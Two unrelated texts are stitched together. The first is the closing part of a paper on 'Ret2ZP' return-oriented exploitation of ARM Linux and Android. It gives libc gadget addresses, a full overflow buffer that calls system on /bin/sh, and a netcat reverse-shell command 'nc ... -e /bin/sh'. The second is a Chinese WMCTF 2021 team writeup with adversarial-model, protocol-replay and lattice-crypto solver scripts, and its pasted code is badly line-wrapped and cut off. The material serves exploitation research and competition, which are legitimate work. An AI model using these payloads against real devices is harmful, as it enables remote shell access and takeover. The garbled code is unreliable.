For example, simple Ret2Libc attack on X86 would have looked something like this :
|----------------|----------|------------|----------------|-----------------|
| 16 A's | AAAA | SYSTEM | EXIT FUNCTION | &/bin/sh |
|----------------|----------|------------|----------------|-----------------|
| args | EBP [20]| EIP [24] | EBP+8 [28]| EBP+12 [32]|
Meaning you can control the Base Pointer (can be used for Frame faking), the
function to call to (SYSTEM(buf)), the parameter to pass to function (&/bin/sh) ->
and the exit function that will be executed after SYSTEM(buf).
----[ 1.3 Understanding the vulnerable function
In ARM there are a few ways of exploitation depending on the vulnerable function:
(I) Vulnerable Function returns no parameters (void)
(II) Vulnerable Function returns no parameters (void) but does several stuff using
arguments R0-R3.
(III) Vulnerable Function does return parameters (int, char* , ...)
Keep reading to understand more about exploiting all of them, or how to take
advantage of some of them in-order to make buffer shorter.
--[ 2.- ARM Exploitation
----[ 2.0 Controlling the PC
Exploiting (I) can be easy but can also be very tricky :
It will be explained right after explaining why does it even work, and why can we
control the PC (Program-Counter, equivalent to EIP on X86).
When calling to a function, some parameters are moved to the right registers (R0-R3)
[Depends on the compiling flags, but it mostly looks the same] and not being pushed
on the so-called stack.
let's call a function named Func, that receives 2 parameters :
mov R0,R3
mov R1,R2
bl func ; See **
** Like call instruction in X86, (also note that "l" in "bl" means "Branch with link". The
next instruction will be stored on LR and in-order to return, LR will be moved back to
PC.)
As you can see arguments have been forwarded to the function using R0 and R1
[changes from different compiling flags, but in general case], but what happens when
entering to func?
push {R4, R11(FP), R14(LR)} ; in x86 : push R4\n push R11\n push R14
add FP, SP, #8 ; FP=SP+8
...
R4 is being pushed right after where the SP had pointed to. Also, R11 (which is the
Frame Pointer) and the Link Register is on the stack as-well, in this order :
memory goes this way <-----
stack is going this way ----->
== | R4 | R11 | LR |
== * <-- Stack Pointer is located at * when calling the function
Let's take a look at the epilogue on func:
sub SP,FP, #8 ; 0x8
pop {R4, FP, PC} ; in x86 asm : pop R4\n pop FP\n pop PC\n
.word 0x00008400 ; data function is using stored here
.word 0x........ ; and so on ...
................ ; and so on ...
So, after LR, had been pushed when entering the function, it's being popped as PC(!),
meaning the next instruction will be popped after the overflow allowing to take control
of PC.
If we'll try a Ret2LibC attack, it will failed, because parameters are not being popped.
We'll do some tricks in-order to control the parameter (R0..R3) before calling the
function.
We'll call this attack Ret2ZP (Return to Zero Protection), it's a combination of Return
Oriented Programming, Return to LibC, and some tricks to get the machine do what
we want it to do.
----[ 2.0 Ret2ZP (Return To Zero Protection) - Attack Explained in Depth
Now that we see that we can control the PC but still cannot pass parameters to
functions, let's explain how the Ret2ZP works.
Here's a demonstration of how a buffer looks + stack in an overflown scenario
(example):
|----------------|----------|------------|----------------|------------------------|
| 16 A's | BBBB | CCCC | DDDD | &function-[0x12345678] |
|----------------|----------|------------|----------------|------------------------|
| args | junk [20]| R4 |R11-framePointer| prog-counter (PC) |
So after the following buffer received : "AA..A"(16
times)BBBBCCCCDDDD\x78\x56\x34\x12 We'll get the code go to &0x12345678
and R4 to hold 0x43434343 as a value and R11 to hold 0x44444444.
If we want to maintain our code and do sort of RoP (return oriented programming),
we'll return to the code ->
(depends on how many parameters are being pushed (if at all), and if SP is not
adjusted (very important!), after &function.
What's the problem with jumping from PC as is to other functions (such as
SYSTEM("/bin/sh");)
----[ 2.1 Ret2ZP (Return To Zero Protection) - For Local Attacker
In-order to execute commands on local attack, we just need shell, and can write in
whatever we want after it. We don't need a fancy commands with remote shell,
netcats and echoing to devices such as /dev/tcp.
Let's do a Ret2Libc attack with ROP a bit of stack lifting to not override ourselves and
parameter adjustments (Ret2ZP):
What we actually need?
1. Address of string /bin/sh, we can get that one from libc easily.
2. A bit of stack-lifting to stay synced with the buffer (not necessarily, but good
for understanding the attack).
3. A way to push address to R0 which is not on the stack (&/bin/sh string from
libc).
4. Making the return of that function point to SYSTEM function.
1 == Easy.
2 == We can get that from wprintf epilogue. This will be explained in the next section
as-well so I will skip the explanation.
But it's not really necessary in this case... We can still control the flow and we don't
need to sync it here.
Now, let's look for a way to push parameters to R0 without loosing our control of the
PC.
Okay, How can we do that? Let's just jump to a POP instruction which contains at-
least R0, and PC. The more, the better we control it, but right now we just need to
control R0 and PC.
R0 Should point to &/bin/sh and PC now should point to SYSTEM function.
Here's an example from Libc that contains a POP instruction with R0 and PC. Why
from libc? No specific reason, could have been taken from somewhere else, but
make sure it's static addresses!
After a quick look, this is what I've found :
0x41dc7344 <erand48+28>:
bl
0x41dc74bc <erand48_r>
0x41dc7348 <erand48+32>:
ldm
SP, {R0, R1} <==== WE NEED TO JUMP HERE.
Let's make R0 point to &/bin/sh
0x41dc734c <erand48+36>:
add
SP, SP, #12
; 0xc
0x41dc7350 <erand48+40>:
pop
{PC} ====> We'll get out here. Let's make it
point to SYSTEM.
So now, that we control everything, let's do the attack, and it will look something like
this :
|----------------|----------|------------|----------------|-----------------|-- 4 Bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------|
| 16 A's | BBBB | R4 | R11 | &41dc7348 | &/bin/sh | EEEE | FFFF | &SYSTEM |
|----------------|----------|------------|----------------|-----------------|------------|---------------|-------------|-----------------|
| args | junk [20]| R4 | frame pointer |prog-counter (pc)| R0 | R1 |JUNK(SP Lift)|prog-counter (pc)|
Buffer will look something like this (with no spaces):
A..A*16
BBBB CCCC
DDDD \x48\x73\xdc\x41
\xE4\xFE\xEA\x41 EEEE FFFF \xB4\xE3\xDC\x41
Or:
char buf[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" //16A
"\x42\x42\x42\x42" //fill buf
"\x43\x43\x43\x43" //function out param1 (in this example)
"\x44\x44\x44\x44" //R11
"\x48\x73\xdc\x41" //R0,R1 feeder function
"\xE4\xFF\xEA\x41" //R0
"\x45\x45\x45\x45" //R1
"\x46\x46\x46\x46" //JUNK
"\xB4\xFF\xDC\x41";//SYSTEM
If we'll put breakpoint on system, this is the status of the relevant places:
=> R0 - 0x41EAFFE4 ; (&/bin/sh)
=> R1 - 0x45454545
=> R4 - 0x43434343
=> R11- 0x44444444
And SYSTEM will be called to execute /bin/sh.
Great success. Although it's good for only local attack, what we really want to
achieve is get a remote-shell as-well, let's do it!
----[ 2.2 Ret2ZP (Return To Zero Protection) - For Remote Attacker
Local attacks are good, but we want to run commands, from remote, which is much
better, and also can be used on Local attacks as-well. So let's investigate it further:
For example, if we've already got R0 to point to /bin/sh string, and the size of our
buffer is [64], because the SYSTEM function will smash our place in stack (except for
using a small size buffer
like [16] where you get shared DWORD of buffer which is not smashed by SYSTEM
function), our command will not be executed! We need to use tricks in-order to
bypass the self stack-smashing.
Let's say, we're calling other function who's using R4,R5,R6 and LR which will
translate later to PC, our buffer will look like this :
|----------------|----------|------------|----------------|-----------------|---4 bytes--|---4 bytes-----|--4 bytes----|---4 bytes-------|
| 16 A's | BBBB | R4 | R11 | &function | R4 | R5 | R6 | &2nd_func |
|----------------|----------|------------|----------------|-----------------|------------|---------------|-------------|-----------------|
| args | junk [20]| R4 | frame pointer |prog-counter (PC)| 1st param | 2nd param | 3rd param |prog-counter (PC)|
Wait, We cannot always jump into SYSTEM, since the stack is smashed and we
need to re-adjust it.
SYSTEM is using ~384 bytes of its own stack, if we do a buf size of [16]
we get 4 shared bytes [if we're actually jumping to *(SYSTEM+4) which we can jump
into;
Jumping into a DWORD of un-overwritten bytes can be good if you're using a local-
privilege escalation attack, but not for remote attack (unless you can write to path).
I.e :
you can run : "sh;#AAAAA...." which you can use the first DWORD, it will run sh;#
and will ignore anything else after the # till there's a null.
For instance :
from strace : [pid 3832] execve("/bin/sh", ["sh", "-c", "sh;#X\332\313\276"...], [/* 19
vars */]) = 0
I've entered sh;#AAAAA.... and it translated into sh;#X\332\313\276....\0 because
SYSTEM had used this stack location for its own use and corrupted it. shame.
We need to get our stack lifted at ~[384] bytes before or after the SYSTEM function
so we can also use remote commands such as set password, run nc or rm -rf all of
the hard-drive :)
I've searched for a place in libc which I can use to shift my stack up, and do the
Ret2ZP Attack properly.
I was looking for something generic for the readers, but it was still easy to find chunk,
let's look at the epilogue of wprintf and we'll find :
41df8954: e28dd00c add SP, SP, #12 ; 0xc
41df8958: e49de004 pop {LR} ; (ldr LR, [SP], #4) <--- We need to jump here!
; LR = [SP]
; SP += 4
41df895c: e28dd010 add SP, SP, #16 ; 0x10 STACK IS LIFTED RIGHT HERE BABY!
41df8960: e12fff1e bx LR ; <--- We'll get out, here :)
41df8964: 000cc6c4 .word 0x000cc6c4
This was the first thing I've seen in libc.so and that's exactly what I need!
We'll jump to 0x41df8958 (pop {LR}, or we can jump to 0x41df8954 but we'll have to
adjust our return accordingly)
as many times as we want, time after another. Till we get enough of stack lifting we
want.
After fixing the stack, we'll jump right back to SYSTEM(), after stack is fixed. perfect
Ret2ZP Attack!
In the first case where R0 points to SP when exiting the vulnerable function - Use the
technique above to fix R0 and keep the calling from this initial lift.
If we got limited size of buffer, we just need to change SP to point to a specific
writable region, and it can be made using one call. This method can be used to also
control the
amount of lifting (and more generic, by its nature).
First, let's explain what's bx LR.
bx {LR} is an unconditional jump to {LR} [which points to SP+4 when executing-
[4bytes+next-command]), but it will also enter to thumb mode if LR[0]==1... ARM is
awesome!
It will look something like this:
|----------------|----------|------------|----------------|-wprintf epilogue|---------------|---4 bytes--...--|------4 bytes--------|---4 bytes-------|
| 16 A's | BBBB | R4 | R11 | &0x41df8958 |....&0x41df8958| &0x41df8958... | AAAA | &SYSTEM |
|----------------|----------|------------|----------------|--stack lifted---|---------------|-----------------|---------------------|-----------------|
| args | junk [20]| R4 | frame pointer |prog-counter (pc)| again. lift | again...n times| after enough lifting| (pc-after lift)|
After enough lifting we'll get :
from strace : [pid 3843] execve("/bin/sh", ["sh", "-c",
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHX\211\337A"...], [/* 19 vars */]) = 0
and we got all of our buffer size [16] + 8 bytes to execute whatever we want, which
should be enough for remote attack as-well.
i.e :
from strace : [pid 3847] execve("/bin/sh", ["sh", "-c", "nc 192.168.0.1 80 -e
/bin/sh;\211\337A"...], [/* 19 vars */]) = 0
Ret2ZP : great success!
----[ 2.3 Ret2ZP - R0..R3 Adjustments
Other scenario:
(II) Vulnerable Function returns no parameters (void) but does several stuff using
arguments R0..R3. (same goes for function returning results)
In this case, if you want to use the Ret2ZP Attack, you'll have to check the status of
the registers after the vulnerable function returns.
You just need one register who points to a relative place where R0 was after the
string manipulation, and use the Ret2ZP to first adjust the parameter, then to shift the
stack
and then to execute payload. Which is good for a more complex command which is
passed on the buffer itself, but if you need just a simple one you can use :
The same way it was used in the local attack, you can even control the flow using
epilogue of functions such as erand48 :
.text:41DC7348 LDMFD SP, {R0,R1} ; <== R0 & R1 Are adjusted
.text:41DC734C ADD SP, SP, #0xC ; Adjusting stack by 12 bytes. Meaning
there will be left 4 bytes of junk.
.text:41DC7350 LDMFD SP!, {PC} ; Going to next 4 bytes after junk.
check for relative path from other registers such as :
Register Synonym Special Role in the procedure call standard
R15 PC The Program Counter.
R14 LR Link Address (Link Register) / Scratch register.
R13 SP Stack Pointer. Lower end of current stack frame.
R12 IP The Intra-Procedure-call scratch register.
R11 FP/v8 Frame pointer / Variable-register 8.
R10 sl/v7 Stack limit / Variable-register number 7.
R9 sb/tr/v6 Platform register. The meaning of this register is defined by
the platform standard.
Really easy to do, and there's great code from libc that can be used for R0..R3
adjustments.
Also, You can pop into R0..R3 under certain parts of code in libc.so. Great stuff
which is more then enough to gain control of affected device.
For example, You can use the following epilogue from MCOUNT function to pop
parameters to R0..R3:
.text:41E6583C mcount
.text:41E6583C STMFD SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'
.text:41E65840 MOVS R11, R11
.text:41E65844 LDRNE R0, [R11,#-4]
.text:41E65848 MOVNES R1, LR
.text:41E6584C BLNE mcount_internal
.text:41E65850 LDMFD SP!, {R0-R3,R11,LR} <=== Jumping here will get you to
control R0, R1, R2, R3, R11 and LR which you'll be jumping into.
.text:41E65854 BX LR
.text:41E65854 ; End of function mcount
If none of them is allowing you to re-produce your SP/R0..R3 on the way of the
overflow, you can run only other functions/commands from the stuff which is already
included in the function.
Like regular ret2libc without getting parameters passed properly, you'll need to adjust
it to get the proper results, from limited set of payloads (i.e : run /bin/sh or do
some_func) - Or if
There are static places you can use them to call each function the way you want it
and to do whatever you want. Such as enabling the stack and calling our secondary
payload.
----[ 2.4 Ret2ZP - Using the attack to enable stack
You can also do the attack to adjust parameters for MPROTECT() to add execution
bit to your memory region of which you control.
Afterward, jump to the stack and run the commands using a prepared shellcode (take
a look at alphanumeric shellcodes to ARM at (*B), but it's far better developed in
X86).
----[ 2.5 Ret2ZP – Hacking Android based phone
There are many similarities between “regular” Linux, to Android. Android people have
re-compiled libc to make it a more suitable for their platforms. One of the things you
can easily notice, is that there are no: “pop .* R0 .*” (Atleast in the libc of the version
I’ve checked).
So how will we be able to store our /system/bin/sh (it’s not just /bin/sh in Android) on
R0? We’ll have to get a bit trickier, but it’s more or less, the same.
For instance, Take a look at this code:
mallinfo
STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4
LDMFD SP!, {R4,PC} Let’s jump here.
; End of function mallinfo
Since there are no pop R0 (intentionally or by mistake, we’ll adjust R4, and store it in
R0 the next jump).
So let’s jump to the bolded line above, and we’ll get R4 to store our address of the
string “/system/bin/sh”.
After that, we’ll have R4 pointing at it and we still got control of PC, but it’s not
enough, so let’s jump to the following bolded line:
mallinfo
STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4 Let’s jump here.
LDMFD SP!, {R4,PC}
; End of function mallinfo
Now, R4 will be moved to R0, and we’ll have R0 pointing to &/system/bin/sh.
The next instruction will get another 4 bytes for R4 (which are not needed) and 4
bytes for the next function (&system). A shell will be executed for us.
So it’s more or less the same. All the above theory of-course applies in this scenario
as-well.
You’ll need in the current Android that the process you attack (your own? For
learning purposes!), was compiled with –fno-stack-protector (or you want to bypass
that via bruteforce/cookie guessing/cookie overwrite) and dynamically linked. All the
theory that had been checked on ARM Linux with regular libc will work as-well on
Android, with some adjustments like the one demonstrated above.
--[ 3.- Conclusions
In today's world, ARM is extremely common and lots of stuff runs on ARM. In this
paper is proposed a way of exploiting ARM when the stack isn't executable.
All the examples from the paper had been tested and worked properly before writing
it - so it's not only theory, it actually works.
Working with ARM doesn't mean that you stack-overflow safe, and in this paper the
payload is actually anything the attacker wants, meaning when writing code on ARM,
You Should always be careful for buffer operations, check sizes and use safe coding
functions instead of dangerous functions (like strcpy, memcpy, ..).
Having safe coding habits can eliminate this threat :). Having the stack not
executable is not enough, like proven here, adding more security mechanisms is
important!
--[ 4.- Acknowledgments
Special thanks to :
Ilan (NG!) Aelion - Thank Ilan, Couldn't have done it without you; You're the man!
Also, I'd like to thank to :
Moshe Vered – Thanks for the support/help!
Matthew Carpenter - Thanks for your words on hard times.
And thanks for Phrack of which I've taken the TXT design. May the lord be with you.
--[ 5.- Author
Itzhak (Zuk) Avraham. Researcher for Samsung Electronics.
blog : http://imthezuk.blogspot.com / http://www.preincidentassessment.com
For questions/chatting: itz2000 [at] gmail.com
Under twitter as: @ihackbanme
Holly
--[ 6.- Reference :
(*A) - The APCS ARM Calling Convention :
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0042d/IHI0042D_aapcs.pdf
(*B) - AlphaNumeric Shellcodes when stack is executable :
http://dragos.com/psj09/pacsec2009-arm-alpha.pdf
(*C) - Alphanumeric ARM shellcode -
http://www.phrack.com/issues.html?issue=66&id=12
(*D) - It has some mistakes with where you control the EIP (+4) offset, but you can
get the general idea from c0ntexb paper :
http://www.infosecwriters.com/text_resources/pdf/return-to-libc.pdf
(*E) – This blog, will also contain updated version of this paper:
http://imthezuk.blogspot.com | pdf |
WMCTF 2021 Nu1L Writeup
WMCTF 2021 Nu1L Writeup
Misc
Checkin
Questionaire
你画我猜
我画你猜
一笔改画
Foolish Black Ai Entrance
LOGO
Plants VS Zombies Version1
car hack
Crypto
checkin
easylsb
ezl1near
PWN
red_high_heels
dy_maze
Nescafe
Reverse
Re1
Re2
Web
ez piwigo
Number
Misc
Checkin
checkin
Questionaire
questionaire
你画我猜
随便画
我画你猜
\反应速度+手速挑战。
可以魔改题目源码，提交后自动切换到下一题，防止鼠标移动和图片加载浪费时间
一笔改画
游戏实现有bug导致可以更换题目，同时因为模型train的比较差，随便加一笔，暴力直到本地正确发给服
务器就好（
function guess(name){
$.post("./start",{stt:name},function(data){start();});
clearInterval(tim);
background(255);
$("#note").text("下一题");
$("#define").slideToggle();
}
import requests
import numpy as np
from tensorflow import keras
sess = requests.session()
classes = ["basketball", "umbrella", "violin", "rainbow", "police car", "sheep",
"t-shirt", "bicycle", "dog", "ice cream"
]
def changeformat(stt):
b=[]
for i in stt.split(';')[:-1]:
#print(i)
b.append([int(j) for j in i.split(',')])
return b
DRAW_SIZE = [250, 250]
def parse_line(np_ink):
#np_ink=np.array(jsline, dtype=np.float32)
# Preprocessing.
# 1. Size normalization.
赛后测了下，不用换题的bug，random start+IFGSM也可以做。
Foolish Black Ai Entrance
黑盒不定向攻击。计算每个像素的梯度，做梯度下降，注意clip，防止无穷范数超过限制
np_ink[:, 0: 2] = np_ink[:, 0: 2] / DRAW_SIZE
# 2. Compute deltas.
np_ink[1:, 0:2] -= np_ink[0:-1, 0:2]
np_ink = np_ink[1:, :]
np_ink[:, 0: 2] = -np_ink[:, 0: 2]
return np_ink
url = "<http://182.92.232.152:6001/start>"
model = keras.models.load_model('model.h5')
def predictt(basePicture,youPrintPicture):
pic=parse_line(np.array(basePicture+changeformat(exp),dtype=np.float32))
ret=model.predict(pic.reshape([1,-1,3]))
return ret.argmax()
first = 1
while 1:
chall = sess.get(url).json()
try:
pic = eval(chall["pic"])
except:
print(sess.post(url, data={'stt':'1'}).text)
continue
scores = chall["scores"]
topic = chall["topic"]
print(scores, topic)
exp =
"427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;427,263,0;4
27,263,1;"
res = classes[predictt(pic, exp)]
if res in topic:
print(sess.post(url, data={'stt':exp}).text)
print(sess.cookies)
else:
print(sess.post(url, data={'stt':'1'}).text)
import requests
import numpy as np
from base64 import b64decode,b64encode
from scipy.optimize import differential_evolution
def getpic(s):
q=s.get("<http://118.190.157.196:8888/start>")
return np.frombuffer(b64decode(q.content),dtype="float32").reshape(1,28,28,1)
def predit(s,bufa:np.ndarray):
#buf=buf.reshape(28,28)
buf=b64encode(bufa.tobytes())
q=s.post("<http://118.190.157.196:8888/predict",
{"b64_image":buf,"fig_number>":str(bufa.shape[0])})
return np.array(eval(q.content))
def init():
while True:
s=requests.session()
p=getpic(s).copy()
r=predit(s,p)
if True or r.argmax()==1:
return s,p,r.argmax()
s,p,correct=init()
p:np.ndarray
p=p.reshape(28,28)
src=p.copy()
victim=p.copy()
def get_norm(data):
l0 = len(np.where(np.abs(data) > 0.0)[0]) / data.shape[0]
l1 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=1, axis=1))
l2 = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=2, axis=1))
linf = np.mean(np.linalg.norm(data.reshape(data.shape[0], -1), ord=np.Inf,
axis=1))
return l0, l1, l2, linf
def get_l_norm(x_src: np.ndarray, x_input: np.ndarray):
"""
:param x_src: shape [NUM ; -1 ; -1 ; -1 ]
:param x_input: shape [NUM ; -1 ; -1 ; -1 ]
PRINT IMGS AND DIFF
:return: L0,L2,L_INF
"""
assert x_src.shape == x_input.shape and x_src.shape.__len__() == 4
# 计算该变量
deta = x_src - x_input
return get_norm(deta)
def loss(x):
global last
#l0, l1, l2, linf = get_l_norm(src, x)
k=predit(s,x)
res=[]
for i in range(k.shape[0]):
res.append(k[i][correct])
res=np.array(res)
rv=(last-res)/0.05
return rv
def grad(dat):
global last
last=predit(s,dat.reshape(1,28,28))[0][correct]
#28*28-> 20*20 [4...25)
LOGO
48;2;r;g;b ascii转义，宽512高256
因为空格大小2*1，所以实际图片大小应该是256*256，转成图片直接LSB隐写拿到flag
res=np.zeros((28,28),"float32")
pack=[]
pos=[]
for x in range(4,25):
for y in range(4,25):
v=dat.copy()
v[x][y]+=0.05
pack.append(v)
pos.append((x,y))
if len(pack)==30:
k=loss(np.array(pack))
for i in range(30):
res[pos[i][0]][pos[i][1]]=k[i]
pack=[]
pos=[]
if len(pack) != 0:
k = loss(np.array(pack))
for i in range(len(pack)):
res[pos[i][0]][pos[i][1]] = k[i]
pack = []
pos = []
return res
def submit(s,bufa:np.ndarray):
#buf=buf.reshape(28,28)
buf=b64encode(bufa.tobytes())
q=s.post("<http://118.190.157.196:8888/get_flag",{"b64_image>":buf})
return q.content
def step(lr):
global victim
gd=grad(victim)
inf_mask=(abs(victim-src)<=0.1).astype("float32")
print(inf_mask.shape,gd.shape)
gd*=inf_mask
victim+=gd*lr
print(get_l_norm(src.reshape(1, 28, 28, 1), victim.reshape(1, 28, 28, 1)))
fk=predit(s,victim.reshape(1,28,28))[0][correct]
return fk
for i in range(30):
res=step(max(100/(i+1),1))
print(res)
if res<0.5:
print(submit(s,victim))
Plants VS Zombies Version1
逆向发现游戏大部分逻辑都是在本地算的，可以修改植物/僵尸属性，或是做到买植物不花钱等。但是拿
到flag需要9999分，打一只特定僵尸只加10分，因此需要继续逆向协议。配合发0xc0更新游戏状态（似乎
是打的僵尸数量），0x76加分即可。
car hack
汽车固件，魔改了v2x，aes解出配置文件即可得到flag
from pwn import *
import fuckpy3
import struct
import time
io = remote('120.27.19.64',12000)
for _ in range(1000):
payload =
'c00000003931626535303138333666616538346537626332643433353437353537373537000000000
0000000000000005137313233343536373839303132333400000000000000000000000000000000513
73132333435363738393031323334513731323334353637383930313233348e082a610000000000000
00000000000000000000000000000000000efbeadde'.unhex()
payload = payload[:28*4] + struct.pack('I',int(time.time())) + payload[29*4:]
cnt = 0x0000
payload = payload[:29*4] + struct.pack('I',cnt) + payload[30*4:]
io.send(payload)
print(io.recv())
time.sleep(0.2)
payload =
'760000003931626535303138333666616538346537626332643433353437353537373537000000000
0000000000000005137313233343536373839303132333400000000000000000000000000000000513
731323334353637383930313233345137313233343536373839303132333418fd29610000000000000
00000000000000000000000000000000000efbeadde'.unhex()
payload = payload[:28*4] + struct.pack('I',int(time.time())) + payload[29*4:]
io.send(payload)
print(io.recv())
Crypto
checkin
喂点数据找找规律，根据提示发现是knapsack，恢复出pk直接LLL。
from Crypto.Cipher import AES
import fuckpy3
key = '89860918700319839632'.unhex()
key = key.ljust(32,b'\x00')
cipher = AES.new(key, AES.MODE_CBC)
with open('v2x_misc.conf', 'rb') as f:
content = f.read()
print(cipher.decrypt(content).str())
import requests
from retrying import retry
from Crypto.Util.number import *
from sage.all import *
from tqdm import trange
import re
@retry(stop_max_attempt_number=3)
def fun(i):
res = requests.post("http://47.104.243.99:10000/show.php",data={'rp':
str(i)+"a"}, timeout=1).text
return int(re.search(r'value:(\d+)', res).groups()[0])
data = []
for i in trange(100):
x = 1<<i
data.append(fun(x)-fun(x-1))
enc = 1620418829165478
delta = []
delta.append(data[0])
for i in range(1,54):
delta.append(delta[-1]*2+data[i]-data[i-1])
print(delta)
n = 32
A = matrix(ZZ,n+1)
for i in range(n):
A[i,i] = 2
A[i,n] = -1
easylsb
agcd
A[n,i] = delta[i]
A[n,n] = -enc
B = A.transpose()
C = B.LLL()
for i in range(n+1):
if C[i][-1] == 0 and set(C[i][:-1]).issubset([-1, 1]):
print(i,C[i])
ans = 0
for j in range(32):
if(C[i][j]==1):
ans += 1<<j
print(ans)
flag = requests.post("http://47.104.243.99:10000/show.php",data={'rp':
str(ans)}, timeout=1).text
print(flag)
exit(0)
from itertools import permutations
P_bits = 512
Q_bits = 512
R_bits = 368
gift =
[277237600535070604982755687530683553968207737006191881674652662103829745170075141
0386756448208740550751595996670655493496420540488134835188904424119397523407377396
7541803369047680626679777855521353320746516377952156904891382502671506997605623359
8122137351451747895245344121957537507967900677374704761783417398910252593780589271
1104888952359074316282935938219503711810271576449990666535617698274302610608716420
5378773156550022022216779697498105190514406842671732839557620912546801935904197598
0379209252239686608212783468998981410177896033500465399718644769657632516306913846
891585595993084339666033107446181172277276433,
887094670217250964787905495838496164202726653211024616969187522823179744773177218
8249197930155992179649928202329692552293192688721321643668572994695259458092995108
7230879428380563005967010803918555647424187429181409060325889468209134903069962244
3651082302902474875633472512002837786223158352403499815887676097134190242183245489
5500254371001195315059488036706613101430871215692153855946608166258392346734433752
0208717518377472045566428941816876155397382101618449552549427860741280511257247056
4787506611944956579724097061673165419377874021485007388162921830610751206669774051
59323115934479367544796874308050506255113847,
723515137780229054421463980949056507455641374947916446699184995291059884640745286
9564722464464872650583226578971622642621579759897652279811120310832268738072663593
3135185496637685520317506111590486229597088633638724182286125541872951509612561154
1266561863090133059422981019246967609786757918628886982614448315260044928533838502
5301503823622388404041532416959758030935421511760025193420650494574436808032252537
3051183357535771866422224137476266441622543703980488278775695008032351468549278372
0703757996177864207166480060226830411304467084867869290607196603506643060846027109
74307866692057995004025140111718052440066973,
109412346842151625326325527030915410396156852575157536516926952044023173197007014
3490164788348240232834328734757584866761034967285877932296695778186855645901946125
9194749747348610498990412647884818384892181711812631273994670096269575798981226512
1472854896158846689998776813529216272195289160920611178555925034176921567919530018
3408614858183803283476800937399001974160474112899644463537391874460797320556255129
0741264153351022485642319286743947346773825592963712242963300057817609629142292656
9847446198156326856909989336722721084564472491585985177946455058937341217168694629
379748840220081206946491485871437250315384907,
211609575834658762276370701086186209248266378495532327226699880343225834773081616
9304821374246821672721872338665547743607675479179585838757494112456605250973768897
3677463257017167763851164761229662177198256982604868524303204464246142686096109899
9915168368589770865386374108687428628072319830371222391141015431861365451342165566
8164231622054900180113581731666784736463934994554325997515745306378440732281995035
9752562484254937424012885437958422215100625530508475035803477380451098910673595293
0153492015148570850982144599012954290079921102275856639848596858467969920421309059
986910246009305148842369272569286420576852251]
N = []
for i in range(5):
N.append(int(gift[i]**(1/2)))
X = 2**R_bits
m = len(N)
PR = PolynomialRing(ZZ, names=[str('x%d' % i) for i in range(1, 1 + m)])
h = 3
u = 1
variables = PR.gens()
gg = []
monomials = [variables[0]**0]
for i in range(m):
gg.append(N[i] - variables[i])
monomials.append(variables[i])
print(len(monomials), len(gg))
print('monomials:', monomials)
B = Matrix(ZZ, len(gg), len(monomials))
for ii in range(len(gg)):
for jj in range(len(monomials)):
if monomials[jj] in gg[ii].monomials():
B[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj]
([X] * m)
B = B.LLL()
print('-' * 32)
new_pol = []
for i in range(len(gg)):
tmp_pol = 0
for j in range(len(monomials)):
tmp_pol += monomials[j](variables) * B[i, j] / monomials[j]([X] * m)
new_pol.append(tmp_pol)
if len(new_pol) > 0:
Ideal = ideal(new_pol[:m-1])
GB = Ideal.groebner_basis()
function_variables = var([str('y%d' % i) for i in range(1, 1 + m)])
res = solve([pol(function_variables) for pol in GB], function_variables)
print('got %d basis' % len(GB))
print('solved result:')
print(res)
for tmp_res in res:
PRRR.<x,y> = PolynomialRing(QQ)
q = abs(PRRR(res[0][0](x, y)).coefficients()[0].denominator())
p = N[-1] // q
print(p)
PR.<x> = PolynomialRing(Zmod(gift[0]))
f = x+p*p
p0 = f.small_roots(X=2**377,beta=0.4)
print(p0)
from Crypto.Util.number import *
p0 =
6601476750357138521101717660776334971038819446760424810095851732566271947341582017
33782379772904619044847045528
a =
1963937033556943247976305159158522101447367788955039599179048450888566743926955247
8707981442189040533366889400119271673542082318299388406297999036007147303
n =
2772376005350706049827556875306835539682077370061918816746526621038297451700751410
3867564482087405507515959966706554934964205404881348351889044241193975234073773967
5418033690476806266797778555213533207465163779521569048913825026715069976056233598
1221373514517478952453441219575375079679006773747047617834173989102525937805892711
1048889523590743162829359382195037118102715764499906665356176982743026106087164205
3787731565500220222167796974981051905144068426717328395576209125468019359041975980
3792092522396866082127834689989814101778960335004653997186447696576325163069138468
91585595993084339666033107446181172277276433
c =
2760636399814468041564108733495218226495016501844677506118238842533107398858038164
3453054081489645849425761993731544272820301226460981652556169928528701320395959879
7054534001096578805755681450160768405774996301474074393944462347973636169218081984
3301534319394485594681825351788447076248436135572045435686257869794750796703710663
6830632467813691802102182479509851934624551385526118228245729176141626489526643204
8606791787091254891511427061745992596141762728392285528185461068232009017910209684
8840021779550393079826539161616034777260151632827530282421179954007529046227468493
10289816035440196713284078934120783610828506
e = 65537
p = a*a+p0
print(n%p)
q = n//p
d = inverse(e,(p-1)*(q-1))
m = pow(c,d,n)
password = long_to_bytes(m)
print(password)
def ModSquareRoot(a, p):
'''
Solve x such that `x^2 ≡ a (mod p)` where p is a prime,
returns all the solution(s), None if no solution.
'''
# assert(isPrime(p))
l = Legendre(a, p) # The Legendre symbol of a over p.
if l == -1:
return None
elif l == 0:
return [0]
if p % 4 == 3: # which is quite easy to compute.
R = pow(a, (p + 1) // 4, p)
return [R, p - R]
else:
return TonelliShanksAlgorithm(a, p)
def TonelliShanksAlgorithm(a, p):
'''
Solve the equation `x^2 ≡ a (mod p)` where `p ≡ 1 (mod 4)`.
returns all the two solutions to the equation.
'''
# 1. Factor `p - 1` into `2^S * Q` where Q is odd.
Q = p - 1
S = 0
while Q & 1 == 0:
S += 1
Q //= 2
# 2. Find a NR(p).
y = 2
while Legendre(y, p) != -1:
y += 1
# 3. Calculate the four quantities.
R = pow(a, (Q + 1) // 2, p)
c = pow(y, Q, p)
t = pow(a, Q, p)
E = S
# 4. Loop.
while t != 1:
for i in range(1, E):
if pow(t, 2 ** i, p) == 1:
break
b = pow(c, 2 ** (E - i - 1), p)
R = R * b % p
c = pow(b, 2, p)
t = c * t % p
